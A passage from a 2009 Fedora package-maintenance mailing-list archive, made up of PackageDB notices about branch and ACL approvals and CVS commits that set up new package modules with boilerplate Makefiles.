test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct  3 21:29:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:29:37 +0000
Subject: [pkgdb] oflb-prociono-fonts was added for ankursinha
Message-ID: <20091003212937.895F810F86A@bastion2.fedora.phx.redhat.com>

kevin has added Package oflb-prociono-fonts with summary A text roman with standard and discretionary ligatures, class based kerning
kevin has approved Package oflb-prociono-fonts
kevin has added a Fedora devel branch for oflb-prociono-fonts with an owner of ankursinha
kevin has approved oflb-prociono-fonts in Fedora devel
kevin has approved Package oflb-prociono-fonts
kevin has set commit to Approved for 107427 on oflb-prociono-fonts (Fedora devel)
kevin has set checkout to Approved for 107427 on oflb-prociono-fonts (Fedora devel)
kevin has set build to Approved for 107427 on oflb-prociono-fonts (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/oflb-prociono-fonts



From pkgdb at fedoraproject.org  Sat Oct  3 21:29:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:29:39 +0000
Subject: [pkgdb] oflb-prociono-fonts (Fedora, 10) updated by kevin
Message-ID: <20091003212939.D2C9D10F895@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on oflb-prociono-fonts (Fedora devel) for fonts-sig
kevin approved watchcommits on oflb-prociono-fonts (Fedora devel) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/oflb-prociono-fonts



From pkgdb at fedoraproject.org  Sat Oct  3 21:29:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:29:39 +0000
Subject: [pkgdb] oflb-prociono-fonts (Fedora, 10) updated by kevin
Message-ID: <20091003212939.D9F7E10F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for oflb-prociono-fonts
kevin has set commit to Approved for 107427 on oflb-prociono-fonts (Fedora 11)
kevin has set checkout to Approved for 107427 on oflb-prociono-fonts (Fedora 11)
kevin has set build to Approved for 107427 on oflb-prociono-fonts (Fedora 11)
kevin approved watchbugzilla on oflb-prociono-fonts (Fedora 11) for fonts-sig
kevin approved watchcommits on oflb-prociono-fonts (Fedora 11) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/oflb-prociono-fonts



From pkgdb at fedoraproject.org  Sat Oct  3 21:29:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:29:39 +0000
Subject: [pkgdb] oflb-prociono-fonts (Fedora, 10) updated by kevin
Message-ID: <20091003212939.E77F210F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for oflb-prociono-fonts
kevin has set commit to Approved for 107427 on oflb-prociono-fonts (Fedora 12)
kevin has set checkout to Approved for 107427 on oflb-prociono-fonts (Fedora 12)
kevin has set build to Approved for 107427 on oflb-prociono-fonts (Fedora 12)
kevin approved watchbugzilla on oflb-prociono-fonts (Fedora 12) for fonts-sig
kevin approved watchcommits on oflb-prociono-fonts (Fedora 12) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/oflb-prociono-fonts



From pkgdb at fedoraproject.org  Sat Oct  3 21:29:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:29:39 +0000
Subject: [pkgdb] oflb-prociono-fonts (Fedora, 10) updated by kevin
Message-ID: <20091003212939.EB12410F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for oflb-prociono-fonts
kevin has set commit to Approved for 107427 on oflb-prociono-fonts (Fedora 10)
kevin has set checkout to Approved for 107427 on oflb-prociono-fonts (Fedora 10)
kevin has set build to Approved for 107427 on oflb-prociono-fonts (Fedora 10)
kevin approved watchbugzilla on oflb-prociono-fonts (Fedora 10) for fonts-sig
kevin approved watchcommits on oflb-prociono-fonts (Fedora 10) for fonts-sig

To make changes to this package see:
  /pkgdb/packages/name/oflb-prociono-fonts



From kevin at fedoraproject.org  Sat Oct  3 21:30:19 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:30:19 +0000 (UTC)
Subject: rpms/oflb-prociono-fonts/devel - New directory
Message-ID: <20091003213019.B70FB11C02A0@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/oflb-prociono-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvss21747/rpms/oflb-prociono-fonts/devel

Log Message:
Directory /cvs/pkgs/rpms/oflb-prociono-fonts/devel added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:30:18 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:30:18 +0000 (UTC)
Subject: rpms/oflb-prociono-fonts - New directory
Message-ID: <20091003213018.39FC111C029F@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/oflb-prociono-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvss21747/rpms/oflb-prociono-fonts

Log Message:
Directory /cvs/pkgs/rpms/oflb-prociono-fonts added to the repository




From pkgdb at fedoraproject.org  Sat Oct  3 21:30:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:30:48 +0000
Subject: [pkgdb] wput (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003213048.516CE10F7EA@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for wput
kevin has set commit to Approved for 107427 on wput (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on wput (Fedora EPEL 4)
kevin has set build to Approved for 107427 on wput (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/wput



From pkgdb at fedoraproject.org  Sat Oct  3 21:30:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:30:48 +0000
Subject: [pkgdb] wput (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003213048.5CFA710F894@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for wput
kevin has set commit to Approved for 107427 on wput (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on wput (Fedora EPEL 5)
kevin has set build to Approved for 107427 on wput (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/wput



From kevin at fedoraproject.org  Sat Oct  3 21:31:24 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:31:24 +0000 (UTC)
Subject: rpms/oflb-prociono-fonts/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091003213124.E890811C029C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/oflb-prociono-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvss21747/rpms/oflb-prociono-fonts/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module oflb-prociono-fonts


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: oflb-prociono-fonts
# $Id: Makefile,v 1.1 2009/10/03 21:31:24 kevin Exp $
NAME := oflb-prociono-fonts
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kevin at fedoraproject.org  Sat Oct  3 21:31:23 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:31:23 +0000 (UTC)
Subject: rpms/oflb-prociono-fonts Makefile,NONE,1.1
Message-ID: <20091003213123.CC6D811C0298@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/oflb-prociono-fonts
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvss21747/rpms/oflb-prociono-fonts

Added Files:
	Makefile 
Log Message:
Setup of module oflb-prociono-fonts


--- NEW FILE Makefile ---
# Top level Makefile for module oflb-prociono-fonts
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From pkgdb at fedoraproject.org  Sat Oct  3 21:25:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:25:29 +0000
Subject: [pkgdb] alure summary updated by kevin
Message-ID: <20091003212529.D85D310F889@bastion2.fedora.phx.redhat.com>

kevin set package alure summary to AL Utilities REtooled

To make changes to this package see:
  /pkgdb/packages/name/alure



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:53 +0000
Subject: [pkgdb] ngircd: kevin has requested commit
Message-ID: <20091003210854.15F4A10F895@bastion2.fedora.phx.redhat.com>

kevin has requested the commit acl on ngircd (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:35 +0000
Subject: [pkgdb] ngircd: kevin has requested watchcommits
Message-ID: <20091003210835.A63E210F890@bastion2.fedora.phx.redhat.com>

kevin has requested the watchcommits acl on ngircd (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:50 +0000
Subject: [pkgdb] ngircd: kevin has requested watchbugzilla
Message-ID: <20091003210851.0D35310F889@bastion2.fedora.phx.redhat.com>

kevin has requested the watchbugzilla acl on ngircd (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:16 +0000
Subject: [pkgdb] ngircd: kevin has requested watchcommits
Message-ID: <20091003210816.6096910F88C@bastion2.fedora.phx.redhat.com>

kevin has requested the watchcommits acl on ngircd (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:16:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:16:57 +0000
Subject: [pkgdb] stomppy summary updated by kevin
Message-ID: <20091003211657.1EA3510F889@bastion2.fedora.phx.redhat.com>

kevin set package stomppy summary to Python stomp client for messaging

To make changes to this package see:
  /pkgdb/packages/name/stomppy



From pkgdb at fedoraproject.org  Sat Oct  3 21:03:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:03:49 +0000
Subject: [pkgdb] syncevolution: dmaphy has requested commit
Message-ID: <20091003210350.0E77E10F7EA@bastion2.fedora.phx.redhat.com>

dmaphy has requested the commit acl on syncevolution (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:03:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:03:47 +0000
Subject: [pkgdb] syncevolution: dmaphy has requested watchcommits
Message-ID: <20091003210348.0AA8B10F889@bastion2.fedora.phx.redhat.com>

dmaphy has requested the watchcommits acl on syncevolution (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:23:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:23:47 +0000
Subject: [pkgdb] ncrack summary updated by kevin
Message-ID: <20091003212347.41FDD10F889@bastion2.fedora.phx.redhat.com>

kevin set package ncrack summary to a high-speed network authentication cracking tool

To make changes to this package see:
  /pkgdb/packages/name/ncrack



From pkgdb at fedoraproject.org  Sat Oct  3 21:03:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:03:34 +0000
Subject: [pkgdb] syncevolution: dmaphy has requested watchcommits
Message-ID: <20091003210334.3623E10F889@bastion2.fedora.phx.redhat.com>

dmaphy has requested the watchcommits acl on syncevolution (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:05:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:05:31 +0000
Subject: [pkgdb] syncevolution had acl change status
Message-ID: <20091003210531.2A49610F892@bastion2.fedora.phx.redhat.com>

pbrobinson has set the commit acl on syncevolution (Fedora devel) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:06:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:06:01 +0000
Subject: [pkgdb] syncevolution had acl change status
Message-ID: <20091003210601.7C18910F86A@bastion2.fedora.phx.redhat.com>

pbrobinson has set the watchbugzilla acl on syncevolution (Fedora 12) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:05:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:05:51 +0000
Subject: [pkgdb] syncevolution had acl change status
Message-ID: <20091003210551.2FADE10F87E@bastion2.fedora.phx.redhat.com>

pbrobinson has set the watchbugzilla acl on syncevolution (Fedora 11) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:06:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:06:09 +0000
Subject: [pkgdb] syncevolution had acl change status
Message-ID: <20091003210609.23A1710F86A@bastion2.fedora.phx.redhat.com>

pbrobinson has set the approveacls acl on syncevolution (Fedora 12) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:26:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:26:29 +0000
Subject: [pkgdb] rubygem-trollop summary updated by kevin
Message-ID: <20091003212629.F08A010F889@bastion2.fedora.phx.redhat.com>

kevin set package rubygem-trollop summary to A command-line option parsing library for ruby

To make changes to this package see:
  /pkgdb/packages/name/rubygem-trollop



From pkgdb at fedoraproject.org  Sat Oct  3 21:21:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:21:15 +0000
Subject: [pkgdb] winwrangler summary updated by kevin
Message-ID: <20091003212115.4475910F892@bastion2.fedora.phx.redhat.com>

kevin set package winwrangler summary to Small desktop daemon to perform advanced window manipulations

To make changes to this package see:
  /pkgdb/packages/name/winwrangler



From pkgdb at fedoraproject.org  Sat Oct  3 21:28:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:28:20 +0000
Subject: [pkgdb] sblim-cmpi-nfsv3 summary updated by kevin
Message-ID: <20091003212820.D6EC110F889@bastion2.fedora.phx.redhat.com>

kevin set package sblim-cmpi-nfsv3 summary to Standards Based Linux Instrumentation Nfsv3 Providers

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-nfsv3



From pkgdb at fedoraproject.org  Sat Oct  3 21:29:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:29:39 +0000
Subject: [pkgdb] oflb-prociono-fonts summary updated by kevin
Message-ID: <20091003212939.C944910F88B@bastion2.fedora.phx.redhat.com>

kevin set package oflb-prociono-fonts summary to A text roman with standard and discretionary ligatures, class based kerning

To make changes to this package see:
  /pkgdb/packages/name/oflb-prociono-fonts



From pkgdb at fedoraproject.org  Sat Oct  3 21:25:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:25:29 +0000
Subject: [pkgdb] alure (Fedora, 10) updated by kevin
Message-ID: <20091003212530.03F1F10F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for alure
kevin has set commit to Approved for 107427 on alure (Fedora 12)
kevin has set checkout to Approved for 107427 on alure (Fedora 12)
kevin has set build to Approved for 107427 on alure (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/alure



From pkgdb at fedoraproject.org  Sat Oct  3 21:20:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:20:02 +0000
Subject: [pkgdb] torium (Fedora, 10) updated by kevin
Message-ID: <20091003212003.098E610F8B9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for torium
kevin has set commit to Approved for 107427 on torium (Fedora 10)
kevin has set checkout to Approved for 107427 on torium (Fedora 10)
kevin has set build to Approved for 107427 on torium (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/torium



From pkgdb at fedoraproject.org  Sat Oct  3 21:20:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:20:02 +0000
Subject: [pkgdb] torium (Fedora, 10) updated by kevin
Message-ID: <20091003212002.C9E6610F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for torium
kevin has set commit to Approved for 107427 on torium (Fedora 11)
kevin has set checkout to Approved for 107427 on torium (Fedora 11)
kevin has set build to Approved for 107427 on torium (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/torium



From pkgdb at fedoraproject.org  Sat Oct  3 21:23:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:23:47 +0000
Subject: [pkgdb] ncrack (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003212347.4A67410F892@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for ncrack
kevin has set commit to Approved for 107427 on ncrack (Fedora 11)
kevin has set checkout to Approved for 107427 on ncrack (Fedora 11)
kevin has set build to Approved for 107427 on ncrack (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ncrack



From pkgdb at fedoraproject.org  Sat Oct  3 21:23:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:23:47 +0000
Subject: [pkgdb] ncrack (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003212347.5854010F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for ncrack
kevin has set commit to Approved for 107427 on ncrack (Fedora 12)
kevin has set checkout to Approved for 107427 on ncrack (Fedora 12)
kevin has set build to Approved for 107427 on ncrack (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ncrack



From pkgdb at fedoraproject.org  Sat Oct  3 21:16:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:16:57 +0000
Subject: [pkgdb] stomppy (Fedora, 11) updated by kevin
Message-ID: <20091003211657.5571110F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for stomppy
kevin has set commit to Approved for 107427 on stomppy (Fedora 12)
kevin has set checkout to Approved for 107427 on stomppy (Fedora 12)
kevin has set build to Approved for 107427 on stomppy (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/stomppy



From pkgdb at fedoraproject.org  Sat Oct  3 21:23:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:23:47 +0000
Subject: [pkgdb] ncrack (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003212347.4D18E10F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for ncrack
kevin has set commit to Approved for 107427 on ncrack (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on ncrack (Fedora EPEL 5)
kevin has set build to Approved for 107427 on ncrack (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/ncrack



From pkgdb at fedoraproject.org  Sat Oct  3 21:22:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:22:27 +0000
Subject: [pkgdb] garmintools (Fedora, 10) updated by kevin
Message-ID: <20091003212227.1686910F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for garmintools
kevin has set commit to Approved for 107427 on garmintools (Fedora 12)
kevin has set checkout to Approved for 107427 on garmintools (Fedora 12)
kevin has set build to Approved for 107427 on garmintools (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/garmintools



From pkgdb at fedoraproject.org  Sat Oct  3 21:28:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:28:20 +0000
Subject: [pkgdb] sblim-cmpi-nfsv3 (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003212820.D9E7B10F890@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sblim-cmpi-nfsv3
kevin has set commit to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora 11)
kevin has set checkout to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora 11)
kevin has set build to Approved for 107427 on sblim-cmpi-nfsv3 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-nfsv3



From kevin at fedoraproject.org  Sat Oct  3 21:23:55 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:23:55 +0000 (UTC)
Subject: rpms/ncrack - New directory
Message-ID: <20091003212355.1440611C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ncrack
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsD18275/rpms/ncrack

Log Message:
Directory /cvs/pkgs/rpms/ncrack added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:22:35 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:22:35 +0000 (UTC)
Subject: rpms/garmintools - New directory
Message-ID: <20091003212235.2515211C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/garmintools
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsa17309/rpms/garmintools

Log Message:
Directory /cvs/pkgs/rpms/garmintools added to the repository




From pkgdb at fedoraproject.org  Sat Oct  3 21:33:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:33:19 +0000
Subject: [pkgdb] sdparm (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003213319.5C2FA10F889@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sdparm
kevin has set commit to Approved for 107427 on sdparm (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sdparm (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sdparm (Fedora EPEL 5)
kevin changed owner of sdparm in Fedora EPEL 5 to sharkcz

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From kevin at fedoraproject.org  Sat Oct  3 21:20:37 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:20:37 +0000 (UTC)
Subject: rpms/torium/devel - New directory
Message-ID: <20091003212037.CB58811C0494@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/torium/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsA15734/rpms/torium/devel

Log Message:
Directory /cvs/pkgs/rpms/torium/devel added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:26:37 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:26:37 +0000 (UTC)
Subject: rpms/rubygem-trollop - New directory
Message-ID: <20091003212637.275A811C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-trollop
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn19587/rpms/rubygem-trollop

Log Message:
Directory /cvs/pkgs/rpms/rubygem-trollop added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:28:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:28:43 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv3/devel - New directory
Message-ID: <20091003212843.949B911C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-nfsv3/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsE20498/rpms/sblim-cmpi-nfsv3/devel

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-nfsv3/devel added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:22:06 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:22:06 +0000 (UTC)
Subject: rpms/winwrangler Makefile,NONE,1.1
Message-ID: <20091003212206.E434F11C0298@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/winwrangler
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF16631/rpms/winwrangler

Added Files:
	Makefile 
Log Message:
Setup of module winwrangler


--- NEW FILE Makefile ---
# Top level Makefile for module winwrangler
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct  3 21:29:27 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:29:27 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv3 Makefile,NONE,1.1
Message-ID: <20091003212927.7F8F811C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-nfsv3
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsE20498/rpms/sblim-cmpi-nfsv3

Added Files:
	Makefile 
Log Message:
Setup of module sblim-cmpi-nfsv3


--- NEW FILE Makefile ---
# Top level Makefile for module sblim-cmpi-nfsv3
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From pkgdb at fedoraproject.org  Sat Oct  3 21:18:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:18:08 +0000
Subject: [pkgdb] python-beaker (Fedora EPEL, 5) updated by kevin
Message-ID: <20091003211808.75EC910F87E@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for python-beaker
kevin has set commit to Approved for 107427 on python-beaker (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on python-beaker (Fedora EPEL 5)
kevin has set build to Approved for 107427 on python-beaker (Fedora EPEL 5)
kevin changed owner of python-beaker in Fedora EPEL 5 to kylev
kevin approved watchbugzilla on python-beaker (Fedora EPEL 5) for lmacken
kevin approved watchcommits on python-beaker (Fedora EPEL 5) for lmacken
kevin approved commit on python-beaker (Fedora EPEL 5) for lmacken
kevin approved build on python-beaker (Fedora EPEL 5) for lmacken
kevin approved approveacls on python-beaker (Fedora EPEL 5) for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-beaker



From kevin at fedoraproject.org  Sat Oct  3 21:24:03 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:24:03 +0000 (UTC)
Subject: rpms/ncrack/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091003212403.7121311C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ncrack/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsD18275/rpms/ncrack/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module ncrack


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: ncrack
# $Id: Makefile,v 1.1 2009/10/03 21:24:03 kevin Exp $
NAME := ncrack
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
